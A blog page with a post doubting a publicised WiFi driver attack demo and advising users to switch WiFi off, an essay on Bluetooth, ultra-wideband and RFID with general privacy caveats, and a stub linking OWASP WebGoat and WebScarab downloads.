So it is reasonable to ask why they would choose to use a hardware combination so unusual as to be almost nonexistent in the real world. The given answer was that they chose Mac to tweak the image of Apple as a secure platform (the actual quote is somewhat more colorful), but used a third-party WiFi card because they didn't want to leave the impression that it was just an Apple problem. Huh? A finer example of pretzel-logic I have rarely seen.

In the absence of more details, it is entirely possible that this bizarre hardware was chosen precisely because it has a unique vulnerability which does not exist on more common platforms. This undermines the implication in the demonstration video that every WiFi equipped computer is vulnerable.

To put a finer point on it: if the flaw is in the WiFi device driver (as claimed), then every combination of WiFi hardware and OS will have, potentially, an entirely different set of vulnerabilities. Some drivers might be very bad, and others very good. It is possible that this hardware was chosen for the demo because it has a particularly bad driver, but that doesn't translate into a real-world problem since almost no real users would be using the buggy driver. (What's more, we shouldn't fault the manufacturer if they didn't rigorously test their software with hardware that nobody uses. As with anything else, there is a law of diminishing returns in testing.)

My next problem has to do with the way the demo was carried out: on video. The stated reason is that they didn't want anyone sniffing the WiFi connection and discovering the attack before it could be patched. That's an entirely reasonable concern. But it also conveniently avoids almost all independent scrutiny of the attack, and even the most basic questions about the level of the problem.

And that gets me to the third issue I have with this claim. The people responsible for the demo are spinning it as a major flaw affecting every WiFi equipped computer out there (and getting a lot of publicity as a result), but have given almost no information about what hardware and software might actually be vulnerable, and under what conditions. Some very basic questions have yet to be answered about the scope of the problem, such as:

* Is this a universal flaw, something unique to this oddball hardware combination, or a class of problems the severity of which can vary widely between configurations? For example, is the MacBook's built-in WiFi also vulnerable? What about PowerPC-based Macs? Or Windows laptops?

* This attack used (effectively) a malicious base station. What network states make a computer vulnerable? Is the computer only safe if the WiFi is actually turned off, or is it safe when connected to a trusted base station? What about when it is attached to an encrypted network? Or does it depend on the particular hardware? What about configuring the computer to only attach to trusted networks?

* Is firewall software an effective defense against this class of attacks, or not?

In sum, is this really the huge problem that the headlines imply, or just a case of the hardware company (Apple) failing to test its device drivers with a particular third-party add-on that nobody is likely to install? Inquiring minds want to know.

(And in the meanwhile, the practical advice--turn off the WiFi when you're not using it--still stands. As a bonus, turning off WiFi extends the battery life of the laptop.)

Apparently a lot of wi-fi drivers on laptops and personal computers have some serious security vulnerabilities which could allow anyone within wireless range to break into the machine.
Fortunately, there's an easy cure: turn off the wi-fi.

Even though there's no attack "in the wild" as yet, consider this a warning. Until the computer manufacturers issue updated drivers to fix the problems (which I don't expect will take long), be sure to turn off your wireless network unless you're actually using it.



FUTURE WiFi ADVANCEMENTS

Bluetooth is a wireless technology that allows computers, phones and other devices to talk to each other over short distances (typically about 10 meters). It is found in many of the newer mobile phones, handheld computers, and laptops as well as in other sorts of products. Bluetooth uses radio waves and is designed to be an inexpensive way of connecting and exchanging information between devices without wires.  Bluetooth can be used to exchange business cards or even used for sending voice from a headset to a mobile phone. Examples of this type of technology are the Nokia 6600  and the Sony Ericsson P900 mobile phones. These specific phones allow you to connect your PC and enable you to transfer files and perform backups.  Some of the disadvantages to this technology are that confidential data can be obtained, anonymously, and without the owner’s consent from other Bluetooth enabled mobile phones.  This data includes not only the phonebook and calendar, but media files such as pictures and text messages. Most devices have and option where you can put your device into a non-discoverable state so that you are invisible to other Bluetooth devices. While in this mode all your information and data are safe.  However, in order to receive business contacts wirelessly you will need to place the phone in discoverable mode.

          

Bluetooth is all good and well but one of the most leading technologies is Ultra-wideband (UWB) modulations. UWB usually refers to a radio modulation technique based on transmitting very-short-duration pulses, whereby the occupied bandwidth goes to very large values. This may also be used to refer to anything with a very large bandwidth. UWB is now going through the necessary authorizations and developments for public and commercial use.  There's a possibility that this will become the "next best" technology for all types of wireless networks, including wireless LANs.  Because UWB operates at such low power, it has very little interference impact on other systems. Another advantage is that it could connect virtually every multimedia device in your home without using any wires. Digital cameras and camcorders could wirelessly stream images and video to your TV or and flat screen monitors could wirelessly connected to computers, DVD players, or any other source you desire. UWB will very likely revolutionize the home multimedia scene and eliminate all the tangled wires found behind home entertainment centers.



A Radio Frequency Identification (RFID) tag is a small silicon microchip attached to an antenna that emits a unique serial number via radio over short distances. The RFID device serves the same purpose as a bar code or a magnetic strip on the back of a credit card or ATM card; it provides a unique identifier for that object. And, just as a bar code or magnetic strip must be scanned to get the information, the RFID device must be scanned to retrieve the information.  In contrast, RFID devices will work within a few feet (up to 20 feet for high-frequency devices) of the scanner. For example, you could just put all of your groceries or purchases in a bag, and set the bag on the scanner. It would be able to query all of the RFID devices and total your purchase immediately.  RFID tags can also be placed in living organisms to help track or identify them within short distances.  This is not extremely dangerous but it will need to be encased in a special kind of casing that will not irritate or react with the living tissues that it is inserted

into.  Some of the disadvantages of this technology are that they are relatively easy to jam using energy at the right frequency. RFID tags are also difficult for consumers to remove; some are very small and others may be hidden or embedded inside a product where consumers cannot see them or get to them. RFID tags can be read without your knowledge which enables others to view information about you.  These new WiFi advancements are destined to change the networking world all together.  But we must understand that we have to take the proper precautions to make these new technologies more secure for the customers.



Saturday, December 11, 2010

OWASP WebGoat and WebScarab





Download 


Free download Web Goat

Download
Free download Web Scrab

Download